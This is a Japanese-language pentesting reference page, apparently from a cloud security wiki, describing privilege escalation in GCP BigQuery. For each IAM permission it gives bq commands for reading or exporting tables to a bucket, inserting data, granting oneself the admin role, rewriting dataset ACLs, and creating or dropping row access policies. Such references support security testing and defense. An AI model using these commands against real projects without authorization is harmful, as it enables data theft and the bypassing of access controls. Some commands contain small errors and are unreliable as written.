GCP - BigQuery Privesc

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BigQuery

BigQueryに関する詳細情報は以下を確認してください:

GCP - Bigquery Enum

Read Table

BigQueryテーブルに保存されている情報を読み取ることで、機密情報を見つけることができるかもしれません。情報にアクセスするために必要な権限は**bigquery.tables.get、bigquery.jobs.create、およびbigquery.tables.getData**です:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

データのエクスポート

これはデータにアクセスする別の方法です。クラウドストレージバケットにエクスポートし、情報を含むファイルをダウンロードします。 このアクションを実行するには、次の権限が必要です: bigquery.tables.export、bigquery.jobs.create、および storage.objects.create。

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

データの挿入

信頼できる特定のデータを Bigquery テーブルに挿入することで、他の場所の脆弱性を悪用することができるかもしれません。 これは、bigquery.tables.get、bigquery.tables.updateData、および bigquery.jobs.create の権限を使用して簡単に行うことができます：

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

攻撃者はこの権限を悪用して、BigQueryデータセットに対してさらなる権限を与えることができます：

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

この権限だけで、ACLを変更することによってBigQueryデータセットへのアクセスを更新することができます。

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

攻撃者はこの権限を悪用して、BigQueryテーブルに対するさらなる権限を自分に与えることができます：

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

ドキュメントによると、指定された権限を使用すると、行ポリシーを更新することが可能です。 しかし、CLI bqを使用する場合は、さらにいくつか必要です： bigquery.rowAccessPolicies.create、bigquery.tables.get。

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:[e-mail]>") FILTER USING (term = "Cfba");' # A example filter was used

行ポリシー列挙の出力にフィルターIDを見つけることができます。例:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:[e-mail]   21 Jan 23:32:09   21 Jan 23:32:09

もし**bigquery.rowAccessPolicies.delete**がbigquery.rowAccessPolicies.updateの代わりにあれば、ポリシーを削除することもできます：

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

行アクセスポリシーを回避する別の潜在的なオプションは、制限されたデータの値を変更することです。termがCfbaのときだけ見ることができる場合、テーブルのすべてのレコードをterm = "Cfba"に変更します。ただし、これはbigqueryによって防止されています。

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